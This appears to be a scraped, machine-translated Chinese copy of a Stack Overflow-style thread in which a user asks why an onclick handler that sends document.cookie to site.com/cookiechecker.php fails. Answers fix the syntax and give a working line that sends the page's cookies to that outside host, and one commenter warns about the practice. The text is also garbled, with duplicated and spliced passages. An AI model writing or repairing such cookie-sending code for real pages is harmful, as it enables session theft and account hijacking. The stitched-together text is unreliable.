+;登录javascript
所以,我做JavaScript已经有一段时间了,偶然发现了一个问题。当我尝试使用编码为JavaScript的超链接时,加号消失了,JavaScript代码的超链接不起作用。那么,JavaScript中有加号的替代符号吗?我是否可以使用另一个与加号功能相同的符号 这是我的密码:+;登录javascript,javascript,hyperlink,Javascript,Hyperlink,所以,我做JavaScript已经有一段时间了,偶然发现了一个问题。当我尝试使用编码为JavaScript的超链接时,加号消失了,JavaScript代码的超链接不起作用。那么,JavaScript中有加号的替代符号吗?我是否可以使用另一个与加号功能相同的符号 这是我的密码: onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);" %2b是“+”的十六进制值。(您以前
onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"
%2b是“+”的十六进制值。(您以前可能在地址栏中看到过%20。想法相同)请将“+”替换为其十六进制等价物“%2B”。尝试以下操作(删除分号):
其中有一个分号需要删除:
onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);"
这个分号导致JavaScript将表达式视为两个独立的语句,而不是一个。这相当于:
document.location = 'site.com/cookiechecker.php?cookie=';
escape(document.cookie);
您的代码如下:
onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"
这意味着您的事件处理程序如下(扩展形式):
这不是你想要的。删除分隔这两条语句的分号
此外,您几乎可以肯定需要http://
在文档的开头。location
值
最终值:
onclick="document.location='http://site.com/cookiechecker.php?cookie='+escape(document.cookie);"
你能发布你的代码吗?不知道你在说什么…你必须把你的脚本放到
href
,或者你可以用onclick运行它,或者更好的是,把你的脚本放到一个函数中并调用这个函数?onclick=“document.location=”+escape(document.cookie);”Blanch。请不要做那样的事。我想不出任何理由发送这样的cookies,除了这表明您正在处理非HttpOnly cookies(一种安全隐患)之外。接受答案是表示感谢的最佳方式,不是吗?。。。什么?这与您发布的代码无关,也无法解决它。@思考:那么,您的代码实际上是什么?如果将+
(JavaScript操作符)替换为%2B
(JavaScript语法错误),那么您发布的内容就会被破坏。我没有得到错误,这才是最重要的。不要粗鲁,看看我的问题。我想要的只是一个加号的替代符号,而不是一些翻拍的code@Ponder:如果其他用户将来再次访问此帖子,他们会对您的代码感到困惑,因为您额外的,您的代码目前不起作用代码>字符。你为什么不编辑这个问题,向那些花时间帮助你但被误导的人道歉呢?
document.location = 'site.com/cookiechecker.php?cookie=';
+escape(document.cookie);
onclick="document.location='http://site.com/cookiechecker.php?cookie='+escape(document.cookie);"